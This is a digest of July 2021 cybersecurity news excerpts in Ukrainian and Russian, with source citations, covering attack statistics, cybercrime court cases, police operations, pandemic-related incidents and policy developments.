«Кожен четвертий опитаний українець старше 15 років (23%) стверджує, що мав досвід зламування акаунту в соціальних мережах та/або месенджерах. Про це свідчать дані дослідження «Безпека в інтернеті» Київського міжнародного інститутом соціології, проведеного на замовлення Міністерства цифрової трансформації, Міністерства внутрішніх справ та за підтримки Консультативної місії Європейського Союзу (КМЄС).

Переважно зі зломом інтернет-акаунту стикались мешканці міст з населенням від 100 000 людей – 29%, також трохи частіше стикались чоловіки, ніж жінки – 24,6% проти 21,4%. Серед респондентів старше 65 років про злом акаунту повідомили лише 4,4%, а найбільше з цим стикались у віковій групі 15-19 років – 41,1%.

Опитування проводилось з 3 березня по 15 квітня 2021 року (польовий етап – з 29 березня по 4 квітня) шляхом телефонного інтерв'ю. Учасниками були користувачі інтернету у вікових групах 12-14 років та 15 років і старше.

Загалом було опитано 2411 респондентів з усіх регіонів України, окрім тимчасово окупованих районів Донецької та Луганської областей і АР Крим.

За оцінкою КМІС, похибка не перевищує 2,4% у віковій групі від 15 років та 5,5% у віковій групі 12-14 років…» ***(23% українців старше 15 років стикались зі***

зломом акаунтів у соцмережах – дослідження // «MEDIASAPIENS» (https://ms.detector.media/kiberbezpeka/post/27788/2021-07-16-23-ukraintsiv-starshe-15-rokiv-stykalys-zi-zlomom-akauntiv-u-sotsmerezhakh-doslidzhennya/). 16.07.2021).

***

«Фахівці Служби безпеки України з початку року нейтралізували 201 кібератаку на українські міністерства та відомства. Про це повідомила пресслужба.

«За період взаємодії між Ситуаційним центром забезпечення кібербезпеки СБУ і органами влади було заблоковано десятки масштабних кібератак російських спецслужб на інформаційні системи міністерств і відомств. Відбито атаки на системи електронного документообігу та електронної взаємодії органів виконавчої влади, а також на стратегічні галузі країни», – заявив заступник голови СБУ Володимир Горбенко.

За словами начальника кібердепартаменту СБУ Олексія Корнійчука, у сфері кібербезпеки в Україні існує низка проблемних питань системного характеру.

«Це і незадовільне кадрове забезпечення підрозділів, і недосконалість нормативно-правової бази взаємодії суб’єктів кібербезпеки, а також недостатня ініціатива у впровадженні заходів кібербезпеки деякими міністерствами», – зазначив він». ***(СБУ з початку року нейтралізувала 201 кібератаку на українські міністерства та відомства // «MEDIASAPIENS» (https://ms.detector.media/kiberbezpeka/post/27704/2021-07-07-sbu-z-pochatku-roku-neytralizuvala-201-kiberataku-na-ukrainski-ministerstva-ta-vidomstva/). 07.07.2021).***

***

«За повідомленням Держспецзв'язку, за перше півріччя 2021 року Системою виявлення вразливостей і реагування на кіберінциденти та кібератаки зафіксовано більше 50 млн підозрілих подій. Фахівці Держспецзв'язку заблокували понад 1,7 млн мережевих атак прикладного рівня на державні органи.

За цей самий період Урядова команда реагування на комп’ютерні надзвичайні події України CERT-UA зареєструвала та опрацювала близько 100 тисяч кіберінцидентів, більшість з них – поширення шкідливого програмного забезпечення та фішинг.

Припинені понад 400 DoS і DDoS-атак, спрямованих на державні органи. З них 26% (107 атак) були здійснені (тільки або зокрема) з використанням IP-адрес РФ. Близько 100 з них – на вебсайт Служби безпеки України.

Значна частина кібератак на Україну має високу складність і потребує ретельної підготовки та ресурсів. Зазвичай сукупність цих чинників свідчить про наближеність хакерів до державних структур або пряме підпорядкування цим структурам.

Ось кілька світових тенденцій, що характеризують DDoS-атаки:

Більша частота нападів високої інтенсивності. Із загальним збільшенням доступної пропускної спроможності мережі, кіберзлочинці дедалі частіше націлюють на жертв атаки високої інтенсивності.

Атаки посилення/ампліфікації DNS і NTP - найпоширеніші вектори атак у 2020 році. Цей вид атак використовує специфіку роботи сервісу DNS в мережі Інтернет, коли надсилають запит даних про домен на публічний DNS-сервер і спрямовують його відповідь на атакований сервер.

Піки активності відображають періоди локдаунів COVID-19. Було встановлено, що трафік атак відображав основні весняні та осінні блокування, що мали місце в США та Європі.

«Килимове бомбардування» зростає - спостерігається чітка тенденція до більших, скоординованих атак з різних джерел до динамічно змінюваних хостів у цільовій мережі. Раніше цей тип нападу спостерігався у важких, але поодиноких випадках, але зараз ця діяльність є більш послідовною і стійкою.

У лютому зловмисники почали використовувати відносно новий механізм кібератак на сайти сектору безпеки й оборони України, щоб заблокувати їх роботу. Під час атаки вразливі вебсервери та робочі станції державних органів інфікує вірус, який робить їх елементом ботмережі для DDOS-атак на інші ресурси. Системи безпеки інтернет-провайдерів визначають скомпрометовані веб-сервери та робочі станції як джерела атак та автоматично вносять їх до «чорних списків». Таким чином, навіть після закінчення фази DDoS атаковані веб-сайти залишаються недоступними для відвідувачів.

За результатами опрацювання кіберінцидентів – дослідження зразків коду і обставин справи – фахівці Держспецзв'язку створюють унікальні індикатори компрометації та розміщують їх на платформі обміну інформацією про шкідливе програмне забезпечення (MISP). До неї мають доступ усі суб'єкти кібербезпеки України, державні органи та інші організації.

Крім того, команда CERT-UA розробляє та поширює на вебресурсах Держспецзв'язку рекомендації, як протистояти сучасним видам кібератак і кіберзагроз, публікує алгоритми відповідних дій, як запобігати, локалізувати і усувати наслідки певних видів атак». ***(За перше півріччя заблоковано 1,7 млн мережевих атак на державні органи // Компьютерное Обозрение (https://ko.com.ua/za_pershe_pivrichchya_zablokovano_1_7_mln_merezhevih_atak_na_derzhavni_organi_138182). 28.07.2021).***

***

Боротьба з кіберзлочинністю в Україні

«Суд приговорил к штрафу в размере 17000 гривен украинца за установку нелицензионного программного обеспечения. Об этом сообщает InternetUA.

Во время следствия было установлено, что уроженец Мариуполя, в октябре 2018 года, с целью получения прибыли установил на компьютере пользователя программу «ARCHICAD 22» и при помощи специального ПО активировал ее. Имущественные авторские права на данную программу принадлежат компании «Graphisoft SE» (Венгрия). Своими преступными действиями обвиняемый нанес компании ущерб в сумме 3850 евро, что эквивалентно 124432 грн.

Действия обвиняемого органом досудебного расследования были квалифицированы по ч. 1 ст. 176 УК Украины (нарушение авторского права, а именно незаконное воспроизведение компьютерных программ, причинившее материальный ущерб в значительном размере) и по ч. 1 ст. 361 УК Украины (несанкционированное вмешательство в работу автоматизированной системы, что привело к искажению процесса обработки информации).

13 июля 2021 года между прокурором и обвиняемым было заключено соглашение о признании виновности, согласно которому сторонами было согласовано, что при утверждении соглашения обвиняемому будет назначено наказание в виде штрафа в размере 17000 гривен.

В судебном заседании обвиняемый свою вину признал полностью и отметил, что соглашение о признании виновности является добровольным и настаивал на его утверждении.

Суд утвердил соглашение о признании виновности. Кроме штрафа, мужчина должен будет также оплатить сумму в размере 6864 гривен за проведение судебных экспертиз». ***(Артем Сереженок. Суд приговорил украинца к штрафу за установку нелицензионного ПО // Internetua (http://internetua.com/sud-prigovoril-ukrainca-k-shtrafu-za-ustanovku-nelicenzionnogo-po). 24.07.2021).***

***

«Суд признал украинца виновным в распространении вредоносного ПО, предназначенного для несанкционированного вмешательства в работу компьютеров…

По данным следствия, в июне 2020 года, злоумышленник на своем ноутбуке создал вредоносное ПО, которое замаскировал под программу, предоставляющую уникальные возможности пользователям компьютерной игры GTA. Далее хакер загрузил этот файл на один из файлообменников в Интернете. При попытке загрузки файла «Sobeit.zip» у пользователей загружался файл под навзанием «sobeit_28080405.exe», в котором, согласно заключению эксперта, было обнаружено программное обеспечение, которое антивирусными программами распознается как вредоносное, а именно Trojan: Win32 / Tnega! Ml. С помощью этого ПО можно осуществлять электронное наблюдение за действиями пользователя (перехват данных ввода с клавиатуры, создание скриншотов, получения списка активных программ и т.д.).

31 мая 2021 между прокурором и подозреваемым было заключено соглашение о признании виновности, согласно которому подозреваемый полностью признал свою вину в совершении преступления, предусмотренного ч. 1 ст. 361-1 УК Украины, искренне раскаялся в содеянном и активно способствовал раскрытию преступления. Также стороны согласовали назначение обвиняемому наказания в виде одного года лишения свободы с испытательным сроком в один год.

Суд утвердил соглашение о признании виновности и также обязал мужчину оплатить сумму 2402, 68 грн за проведение судебной экспертизы…» ***(Артем Сереженок. Украинец распространил опасное вредоносное ПО под видом читов***

для игры GTA // Internetua (http://internetua.com/ukrainec-rasprostranil-opasnoe-vredonosnoe-po-pod-vidom-csitov-dlya-igry-gta). 28.07.2021).

***

«Франковский районный суд Львова приговорил к штрафу украинца за создание и распространение вредоносного программного обеспечения…

По версии следствия, в декабре 2020 года уроженец Львова, используя собственный ПК, создал программное обеспечение под названием «kpal_v3_Cracked- | PC-RET | _v2.zip | KPALV3_CR_LOCAL_V2.EXE», которое сразу разместил для скачивания в сети Интернет на специальном форуме, тем самым распространив вредоносное ПО неопределенному количеству лиц.

23 апреля 2021 года между прокурором и подозреваемым было заключено соглашение о признании виновности. Согласно условиям данного соглашения стороны договорились о правовой квалификации действий подозреваемого по ч.1 ст.361-1 УК Украины (создание с целью распространения вредоносного программного обеспечения, предназначенного для несанкционированного вмешательства в работу электронно-вычислительных машин), существенных для данного уголовного производства обстоятельств, а также наказания, которое должен понести обвиняемый в виде штрафа в размере 2000 необлагаемых минимумов доходов граждан, что составляет 34000 гривен.

Суд утвердил вышеуказанное соглашение. Кроме штрафа, суд обязал мужчину оплатить сумму 1307 грн. 60 коп за проведение компьютерно-технической экспертизы». ***(Артем Сереженок. Суд обязал украинца заплатить штраф в размере 34 тысяч гривен за создание и распространение вредоносного ПО // Internetua (http://internetua.com/sud-obyazal-ukrainca-zaplatit-shtraf-v-razmere-34-tysyacs-griven-za-sozdanie-i-rasprostranenie-vredonosnogo-po). 04.07.2021).***

***

«…До кіберполіції Чернівецької області надійшли звернення від громадян Італії, які постраждали від протиправної діяльності. Заявники відстежили, що товари, замовлені з використанням їхніх акаунтів, відправляють до України.

Кіберполіція Буковини спільно з Чернівецьким районним управлінням поліції викрила причетних. Під час розслідування вказаного факту, кіберполіцейські звернулися до правоохоронців Італії та отримали від них інформацію, що від дій зловмисників постраждали декілька сотень їхніх громадян.

Поліцейські встановили, що троє чоловіків 22-23-х років зламували облікові записи користувачів онлайн-аукціонів з продажу товарів. У скомпрометованих акаунтах фігуранти отримували авторизовані дані платіжних систем (платіжні реквізити). Використовуючи ці відомості, зловмисники здійснювали покупки в Інтернеті.

Крім цього, учасники групи у DarkNet купували скомпрометовані облікові записи соціальних мереж. Після – несанкціоновано втручалися в їхню роботу та налаштовували рекламу, сплата за яку стягувалася з банківських карток

потерпілих. За такі дії зловмисники отримували прибуток від посередників рекламодавців.

У Чернівцях та у Київській області правоохоронці провели обшуки. За результатами вилучили комп'ютерну техніку, мобільні телефони, банківські картки, носії інформації та близько 200 тисяч гривень. Під час попереднього огляду вилученої комп'ютерної техніки правоохоронці виявили скомпрометовані дані доступу до персональних комп'ютерів та соціальних мереж декількох тисяч громадян Чехії, Італії, Франції, Німеччини, Естонії, Іспанії, Великої Британії, Польщі тощо.

За даним фактом відкрито кримінальне провадження за ч.2 ст.361 (Несанкціоноване втручання в роботу комп'ютерів, автоматизованих систем, комп'ютерних мереж чи мереж електрозв'язку) Кримінального кодексу України. Зловмисникам може загрожувати від трьох до шести років позбавлення волі. Вирішується питання щодо оголошення підозри. Слідчі дії тривають. Процесуальне керівництво здійснює Чернівецька окружна прокуратура». ***(Поліцейські Буковини викрили зловмисників у зламі акаунтів Інтернет-аукціонів для привласнення грошей громадян // Департамент кіберполіції Національної поліції України (https://cyberpolice.gov.ua/news/policzejski-bukovyny-vykryly-zlovmysnykiv-u-zlami-akauntiv-internet-aukczioniv-dlya-pryvlasnennya-groshej-gromadyan-1341/). 13.07.2021).***

***

«Тысячи консолей PlayStation 4 были изъяты после обнаружения на складе. Их использовали для майнинга криптовалюты.

В Украине правоохранительные органы обнаружили крупную подпольную майнинг-ферму. В общей сложности 3800 игровых консолей были собраны на стеллажах. Также нашли более 500 видеокарт и 50 процессоров. Оборудование использовалось для майнинга криптовалюты.

Также злоумышленники крали электричество. Количество украденной электроэнергии оценивается в сумму от $186,200 до $259,300 в месяц.

Как сообщает украинская полиция, обыски прошли также в «резиденциях преступников», где изъяли записи об использовании электроэнергии, ноутбуки, телефоны, флэшки». ***(В Украине изъяли тысячи PS4, которые были задействованы в майнинге криптовалюты // SecureNews (https://securenews.ru/thousands-of-ps4s-that-were-involved-in-cryptocurrency-mining-were-seized-in-ukraine/). 14.07.2021).***

***

Коронавірус COVID-19 та питання кібербезпеки

«Министерство здравоохранения Северной Ирландии временно отключило свой online-сервис по выдаче свидетельств о прохождении вакцинации против COVID-19 в связи с утечкой данных. Инцидент заключался

в том, что пользователям приложения COVIDCert NI при определенных обстоятельствах были видны данные других пользователей.

COVIDCert NI позволяет жителям Северной Ирландии, прошедшим полный цикл вакцинации против COVID-19, получать свидетельства о вакцинации. Данная система не связана с сервисом NHS COVID Pass, использующимся в Англии и Уэльсе, и работает по одному принципу с «паспортом вакцинации», использующимся в Шотландии. COVIDCert NI доступен на сайте covidcertni.nidirect.gov.uk или через мобильное приложение для Android- и iOS-устройств. На момент написания новости ни сайт, ни приложения не работали.

Министерство здравоохранения Северной Ирландии уведомили о проблеме Управление комиссара по информации Великобритании (Information Commissioner's Office, ICO). Также были приняты незамедлительные действия по временному удалению элементов сервиса, управляющих персональными данными.

Несмотря на то, что данный инцидент кажется незначительным, он произошел в то время, когда некоторые представители общественности уделяют много внимания и выражают беспокойство по поводу «паспорта вакцинации».

В настоящее время Министерство здравоохранения Северной Ирландии работает над решением проблемы». ***(Сервис выдачи паспортов вакцинации в Северной Ирландии допустил утечку данных // SecurityLab.ru (https://www.securitylab.ru/news/522852.php). 28.07.2021).***

***

«У Грузії довелось відкласти вакцинацію від коронавірусу через кібератаку на сайт Міністерства охорони здоров'я…

Так, реєстрація громадян Грузії на щеплення китайськими вакцинами Sinopharm і Sinovac мала розпочатись 3 липня о 12:00, проте цього не сталося: вранці спеціальна інтернет-платформа не працювала, згодом у міністерстві повідомили про масовану кібератаку.

Уряд заявив, що проблему мають усунути найближчим часом, а МВС Грузії відкрило справу за статтями 285 та 286 КК – «незаконне використання комп'ютерних даних та комп'ютерних систем», а також «посягання на комп'ютерні дані та комп'ютерну систему».

4 липня у МОЗ заявили, що частково вирішили проблему зі сайтом.

«Технічна команда працює цілодобово. Деякі недоліки були виправлені, проте поки не всі проблеми усунені, тому роботи тривають. Як тільки відновлювальні роботи будуть завершені, населення негайно отримає інформацію», – сказала заступниця міністра охорони здоров'я Тамар Габунія.

Однак станом на ранок 5 липня, на момент публікації цієї новини, ані спеціальна платформа для реєстрації на вакцинацію, ані загалом сайт МОЗ Грузії не працюють…». ***(У Грузії довелось відкласти вакцинацію від коронавірусу через кібератаку на сайт МОЗ // «MEDIASAPIENS» (https://ms.detector.media/kiberbezpeka/post/27680/2021-07-05-u-gruzii-dovelos-vidklasty-vaktsynatsiyu-vid-koronavirusu-cherez-kiberataku-na-sayt-moz/). 05.07.2021).***

***

«Компании и организации, занимающиеся кибербезопасностью, объединяются, чтобы создать программу проверки подлинности лиц, отвечающих за кибербезопасность, предназначенную для поддержки как крупных, так и небольших организаций, имеющих дело с киберинцидентами.

Глобальный альянс по кибербезопасности ISA работает с CISA над созданием системы управления инцидентами для промышленных систем управления (ICS4ICS) и более чем 50 другими компаниями, университетами и корпорациями, занимающимися кибербезопасностью.

Согласно заявлению ISA, группы будут включать структуру системы управления инцидентами FEMA для структуры реагирования, ролей и взаимодействия.

Deloitte, Dragos, Ford Motor Company, Fortinet, Honeywell, Johnson Controls, KPMG, Nozomi Networks, Pfizer, Tenable, CyberOwl и Государственный университет Айдахо - это лишь некоторые из организаций, участвующих в ISA Global Cybersecurity Alliance.

«В течение многих лет нам требовалась ICS4ICS, чтобы обеспечить возможность коллективно организованных кибер и физических ответных мер единообразным образом. Подтверждение кибербезопасности служб быстрого реагирования является важной вехой в этом ценном государственно-частном партнерстве», - сказала председатель Консультативного совета ISAGCA Меган Сэмфорд

Сэмфорд, который также является директором по безопасности продукции в подразделении управления энергопотреблением Schneider Electric, сказал, что группы «разработали процесс вынесения судебного решения и сертифицировали наших первых четырех респондентов».

Первый раунд верительных грамот был вручен Сэмфорду, начальнику отдела координации киберзащиты CISA Марку Бристоу, старшему менеджеру FireEye по системам управления производством Нилу Гаю и Брайану Вишневски из резерва армии США.

«Я горжусь тем, что являюсь одним из них, и готов помочь компаниям оправиться от киберинцидентов», - добавил Сэмфорд.

Система управления инцидентами FEMA в настоящее время используется в ответ на стихийные бедствия, промышленные аварии и другие инциденты, в то время как методы ICS4ICS используются организациями для выявления инцидентов, оценки любого ущерба, решения неотложных проблем, связи с заинтересованными сторонами и, в конечном итоге, возобновления работы.

«Эта структура применяет традиционные передовые методы систем управления инцидентами к инцидентам кибербезопасности, обеспечивая общую терминологию и позволяя различным организациям управления инцидентами и поддержки работать вместе», - говорится в заявлении группы.

«ICS4ICS предоставляет четко определенные командные структуры, включая стандартные роли, необходимые для реагирования, и эта структура может масштабироваться для поддержки небольших или чрезвычайно крупномасштабных инцидентов, влияющих на многие организации».

Комитет в рамках ICS4ICS будет управлять процессом вынесения решения, который, по словам организации, будет включать в себя заявки и оценки кандидатов группой экспертов по системам управления инцидентами.

«Проверенный подход проверяется отраслевыми компаниями и профильными экспертами, и программа имеет большое значение для малых и средних предприятий, у которых нет времени, финансов или персонала для назначения группы киберреагирования на полную ставку, но которые все же нуждаются в разработать планы и соответствующим образом обучить сотрудников», - заявили в группах». ***(Jonathan Greig. Cybersecurity organizations announce new first responder credentialing program // ZDNet (https://www.zdnet.com/article/cybersecurity-organizations-announce-new-first-responder-credentialing-program/). 13.07.2021).***

***

«Цифровые технологии повлияли на все аспекты бизнеса, особенно после закрытия физических рабочих мест. Растущая взаимозависимость между физическим, цифровым миром и миром кибербезопасности требует лидерской позиции, сочетающей в себе как технические ноу-хау, так и способность распознавать приоритеты безопасности с точки зрения бизнеса. В сочетании с множеством новых угроз, угрожающих бизнесу в условиях глобальной пандемии, и возросшим объемом того, что необходимо защитить, прошедший год стимулировал эволюцию CISO.

В частности: если раньше директора по информационной безопасности были известны исключительно как менеджеры по рискам безопасности, то теперь ожидается, что они будут способствовать развитию бизнеса организации.

Высшие качества CISO

Кибербезопасность - это очень динамичная область. Потребность в быстром принятии решений на основе опыта, организованном мышлении и способности стратегически общаться с аудиторией, не связанной с безопасностью, является почти второй натурой для многих руководителей по информационной безопасности.

Вот несколько основных качеств, которыми должны обладать все директора по информационной безопасности, чтобы преуспеть в сегодняшнем цифровом мире, чтобы добиться успеха в качестве директора по информационной безопасности:

Сваты: для руководителей по информационной безопасности важно понимать общую миссию и принимать стратегические решения, которые согласовывают цели безопасности с общими бизнес-целями. Руководители ожидают, что директора по информационной безопасности защищают организацию не в ущерб бизнесу, а, скорее, в его интересах. При этом важно помнить, что мощность консолидированного набора технологий и услуг в нашем стеке безопасности может

принести нашим заинтересованным сторонам множество преимуществ помимо традиционных. Способность связать наши усилия с тактическими и стратегическими преимуществами бизнес-операций или даже с прибылью, выходящей за рамки традиционного снижения рисков, имеет решающее значение для успеха должности, команды и программы в целом.

Строители отношений: Работа директора по информационной безопасности может показаться чрезмерно сосредоточенной на безопасности, но успех действительно определяется отношениями. Это может стать своего рода сюрпризом, поскольку специалисты по безопасности обычно ассоциируются с их техническими навыками, а не с их социальными навыками. Реагирование, общение и понимание потребностей и проблем бизнес-подразделений и их заинтересованных сторон в организации является наиболее важным аспектом роли директора по информационной безопасности. Истинная сила заключается в объединенном понимании потребностей и проблем, с которыми сталкиваются заинтересованные стороны, рисков безопасности и соответствия, в устранении которых нам нужна их помощь, а также в широте имеющихся в нашем распоряжении технических и операционных возможностей. Заинтересованные стороны, которым мы можем помочь сегодня, завтра помогут нашему делу, особенно те, которые обычно являются союзниками безопасности (юриспруденция, управление ресурсами предприятия, внутренний аудит).

Лидерство слуги: установите стратегию, управляйте приоритетами на «эпическом уровне» (примечание: если вы не практикуете гибкую разработку, подумайте о том, чтобы сделать это), расчистите путь для своей команды и направляйте по мере необходимости. Не вдавайтесь в подробности, ориентируйтесь на результаты и позвольте команде выяснить, как они этого добиваются. По мере того, как команда нагнетает риски и проблемы, воспользуйтесь преимуществами ваших отношений, чтобы сбить их с толку, позволяя команде последовательно продвигаться к основным рискам и целям. Как отмечалось выше, у руководителей по информационным технологиям больше нет времени для управления всеми аспектами программы, они должны позволить команде продвигать стратегические усилия вперед.

Защитники: В конце концов, директора по информационным технологиям должны выступать за создание надлежащей инфраструктуры кибербезопасности, которая фактически защитит их организации. Это нелегкий подвиг, поскольку бизнес-лидеры часто скептически относятся к инвестированию средств в кибербезопасность, когда они физически не видят угрозы в действии. Директора по информационной безопасности должны сообщать о важности качественной кибербезопасности и отстаивать инструменты, которые в результате позволят сэкономить бизнесу деньги в долгосрочной перспективе. Директора по информационной безопасности должны выступать в роли лоббистов службы безопасности, борясь за то, что необходимо, чтобы оставаться защищенными при любых обстоятельствах.

Прогноз на будущее: где будет возглавлена роль директора по информационной безопасности?

Традиционно директора по информационным технологиям сосредоточились на стратегии безопасности. Они работали с заинтересованными сторонами и подчиненными, чтобы понять и оценить риски и связанные с ними угрозы, а также создали и расширили программы и возможности для их предотвращения. Всякий раз, когда обнаруживалось нарушение или значительное нарушение безопасности, их работа заключалась в том, чтобы возглавить работу по устранению проблемы. Теперь директорам по информационным технологиям необходимо заранее продумать не только стратегию безопасности, но и долгосрочную бизнес-стратегию.

В эпоху цифровых рабочих мест директора по информационным технологиям должны не только сосредоточиться на предотвращении угроз, но и создавать системы, которые работают для бизнеса и при этом обеспечивают защиту всех. Постоянные инновации, создание и внедрение уникальных стратегий уже являются частью должностных обязанностей директора по информационной безопасности. Речь идет о том, чтобы думать не только об угрозах перед вами, но и о грядущих угрозах, и о том, как опережать их, сохраняя при этом цели бизнеса во главу угла. Принятие решений, связывающих бизнес-стратегию и процессы безопасности в единый узел, - это единственный способ выстоять прямо среди стремительно меняющегося шторма цифровых услуг.

Роль директора по информационной безопасности развивается быстрее, чем когда-либо, и он становится мастером во всех сферах безопасности и деловых операций. В понедельник они - супергерои, держащие киберпреступников подальше. Во вторник они улучшают состояние безопасности организации. К концу недели они являются послами высшего звена и внедряют инновации в концепцию безопасности, обеспечивая при этом положительную ценность для бизнеса.

По мере того, как роль продолжает развиваться, а уровень знаний директора по информационным технологиям в отношении бизнеса, лежащих в его основе технологий и основных рисков будет повышаться за пределами ИТ и будет рассматриваться как равный ИТ-директору. По мере того, как предприятия продолжают развиваться, все большее число эффективных руководителей по информационным технологиям должны будут унаследовать обязанности по управлению рисками предприятия или инфраструктуре. Будущее для директора по информационной безопасности остается светлым, пока мы по-прежнему нацелены на то, чтобы по-настоящему соответствовать бизнесу и управлять рисками в отношении того, что действительно имеет наибольшее значение». ***(Curtis Simpson. The Evolving Role of the CISO // Threatpost (https://threatpost.com/evolving-role-ciso/167873/). 16.07.2021).***

***

«Россия внесла в специальный комитет Организации объединенных наций (ООН) проект конвенции о противодействии использованию информационно-коммуникационных технологий в преступных целях. По сообщению Генпрокуратуры, принимавшей участие в разработке документа, наша

страна стала первым государством, представившей в упомянутой международной организации свое видение проблематики технологических преступлений.

Как сообщает CNews, документ официально был передан российской стороной 27 июля 2021 г. в штаб-квартире ООН в Вене и. о. исполнительного директора Управления ООН по наркотикам и преступности Деннису Чатчавалиту (Dennis Chatchavalit) и председателю спецкомитета ООН по разработке конвенции Фаузии Мебарки (Faouzia Mebarki). Делегацию нашей страны возглавлял замгенпрокурора Петр Городов.

Упомянутый специальный межправительственный комитет был создан в декабре 2019 г. резолюцией Генеральной ассамблеи ООН № 74/247.

Проект конвенции в публичном доступе пока не представлен. Как отмечает Генпрокуратура, документ учитывает современные вызовы и угрозы в сфере международной информационной безопасности, в том числе, как подчеркивают в ведомстве, криминальное использование криптовалюты.

Также он описывает новые составы преступлений, совершаемых с использованием ИКТ. Среди них — распространение фальсифицированной медицинской продукции, оборот наркотиков, вовлечение несовершеннолетних в совершение противоправных деяний, опасных для их жизни и здоровья, и др.

Кроме того, проект расширяет сферу международного сотрудничества в вопросах выдачи и оказания правовой помощи по уголовным делам, включая выявление, арест, конфискацию и возврат активов.

Разработка российского проекта конвенции стала одной из задач, которую генпрокурор Игорь Краснов поставил перед межведомственной рабочей группой по противодействию киберпреступности.

Данная группа была создана стараниями самого генпрокурора в 2020 г. в качестве ответа на взрывной рост киберпреступности во всем мире. В группу входят представители Генпрокуратуры, МИДа, МВД, ФСБ, Следственного комитета и Минюста.

В начале июля 2021 г. России оказалась на пятой строчке в международном индексе кибербезопасности, который был в четвертый раз составлен Международным союзом электросвязи — специализированным учреждением ООН в области ИКТ.

Комментируя эти данные, зампредседателя Правительства Дмитрий Чернышенко указал, что Россия в этом рейтинге поднялась сразу на 21 позицию по сравнению с предыдущей редакцией списка.

«В исследовании участвовали 193 государства, и оценивались различные аспекты национальных стратегий информационной-технологической безопасности — законодательные, организационные, технические и ряд других, — отметил чиновник. — Мы заняли одну строчку с ОАЭ и Малайзией. Безусловно нам есть куда стремиться — многие решения и проекты в сфере кибербезопасности еще предстоит реализовать, а следовательно и обеспечить более высокие позиции в рейтинге в ближайшие годы»…». ***(Россия первой внесла в ООН проект конвенции по борьбе с киберпреступностью // ООО "ИКС-МЕДИА (https://www.iksmedia.ru/news/5845109-Rossiya-pervoj-vnesla-v-OON-proekt.html). 28.07.2021).***

***

«Национальный координационный центр кибербезопасности сформировал информационный бюллетень «Обзор событий в современном киберпространстве за II квартал 2021 года» и обнародовал для ознакомления.

…об этом сообщает пресс-служба СНБО.

«Национальный координационный центр кибербезопасности провел обобщенный анализ современных тенденций в сфере кибербезопасности, по результатам которого был сформирован информационный бюллетень «Обзор событий в современном киберпространстве за II квартал 2021 года». В бюллетене дается обзор 3-х ключевых направлений сферы кибербезопасности: Нормативно-правовой и организационный аспекты обеспечения международной кибербезопасности; Угрозы глобальной кибербезопасности и меры по их предотвращению, локализации и ликвидации; Технологии и инструменты обеспечения кибербезопасности и проведения операций в киберпространстве», - говорится в сообщении.

В информационном бюллетене, в частности, предоставляется ежегодная оценка угроз от американской разведки.

Так, Офис директора Национальной разведки США Аврил Гейнс (Avril Haines) обнародовал доклад "Ежегодная оценка угроз" (2021 Annual Threat Assessment). Это ежегодный документ Национального разведывательного сообщества относительно угроз национальной безопасности США во всем мире, который состоит из 27 страниц и отражает коллективное мнение 18 спецслужб страны. Документ содержит только несекретную информацию и уделяет особое внимание четырем странам: Китаю, России, Ирану и Северной Корее, а также пандемии коронавируса, терроризму, миграции, климатическим изменениям и киберугрозами. Действия Китая в докладе названы "претензиями на мировое господство», а трех других стран – «провокационными действиями». В документе указано, что Россия является одной из главных киберугроз для США, поскольку она совершенствует и использует возможности кибершпионажа, влияния с помощью социальных сетей и осуществления кибератак. Целями российских преступных действий в киберпространстве становятся подводные кабели и промышленные системы контроля США и их союзников и партнеров. Компрометация такой инфраструктуры демонстрирует способность России наносить вред объектам критической инфраструктуры страны во время кризиса.

По мнению американских спецслужб, Москва имеет возможность и намерение атаковать государственные и частные организации в США. В докладе говорится, что Россия использует кибероперации для защиты от того, что она считает угрозами стабильности для своего правительства.

Как отмечается, в 2019 году РФ осуществила хакерские атаки на информационные ресурсы журналистов и организации, которые вели расследование в отношении российского правительства, и в одном случае она таки смогла получить информацию. В американской разведке также считают, что Москва использует свои разведывательные службы и инструменты влияния, чтобы разделить западные союзы, сохранить свое влияние на постсоветском пространстве

и усилить свое влияние по всему миру, подрывая глобальный статус США, сея раздор внутри них и оказывая влияние на выборы и принятие решений в развивающихся странах. Американские спецслужбы предполагают, что Россия может поделиться своими технологиями и опытом с противником США, в частности поставлять свое вредоносное программное обеспечение. Кроме того, отмечается, что РФ станет ключевым конкурентом страны в сфере космоса и будет интегрировать эту сферу с военной.

В бюллетене также сообщается о 100-дневном план киберзащиты энергетической инфраструктуры США.

Кроме того, официальный Вашингтон планирует создать международную коалицию по борьбе с государствами, которые, по мнению США, не принимают надлежащих мер для преодоления киберпреступности. В частности, рассматривается принятие мер на четырех крупных направлениях: разрушение инфраструктуры злоумышленников, которые применяют вирусы-вымогатели; активизация взаимодействия власти США с частным сектором с целью укрепления кибербезопасности; создание международной коалиции с целью привлечения к ответственности стран, покрывающих лиц, совершивших киберпреступления; расширение анализа криптовалют с целью прекращения преступных транзакций.

В бюллетене также говорится о том, что кибератаки на членов НАТО признаются как вооруженное нападение. Так, 14 июня 2021 года в штаб-квартире НАТО в Брюсселе состоялся саммит, в ходе которого лидеры стран НАТО приняли решение, согласно которому особенно масштабные кибератаки на членов могут расцениваться как вооруженное нападение с последующим применением статьи 5 Вашингтонского договора о коллективной защите. Статья 5 предусматривает принцип коллективной обороны НАТО - нападение на одного участника Альянса считается нападением на всех стран-членов НАТО и предусматривает ответную атаку со стороны всех стран Альянса, в том числе, с применением вооруженных сил.

В дальнейшем участники саммита запланировали шире использовать НАТО как платформу для политических консультаций между союзниками относительно злонамеренной кибердеятельности, обмениваясь национальными подходами и методами реагирования, а также рассматривая возможные коллективные ответы.

В бюллетене также даются рекомендации относительно обеспечения безопасности подключений IT-OT.

В документе приводятся рекомендации по оценке рисков и повышению безопасности подключений между IT-системами, которые часто могут быть точкой входа в промышленные сети, и системами операционных технологий.

Мероприятия, приведенные в рекомендациях, предусматривают полное управление всеми подключениями операционных технологий в IT-системах, ограничение доступа, активный мониторинг и регистрацию всех попыток доступа, а также криптографическую защиту векторов удаленного доступа.

Кроме того, разведывательные службы Великобритании и США подготовили ряд рекомендаций для защиты от хакеров, аффилированных со Службой внешней разведки (СВР) РФ. Доклад был обнародован 07.05.2021 правительственным Национальным центром кибербезопасности Великобритании (National Cyber

Security Center) в сотрудничестве с Агентством национальной безопасности (National Security Agency) США, американскими министерством юстиции и Агентством по кибербезопасности и обеспечениюзащиты инфраструктуры (Cybersecurity and Infrastructure Security Agency).

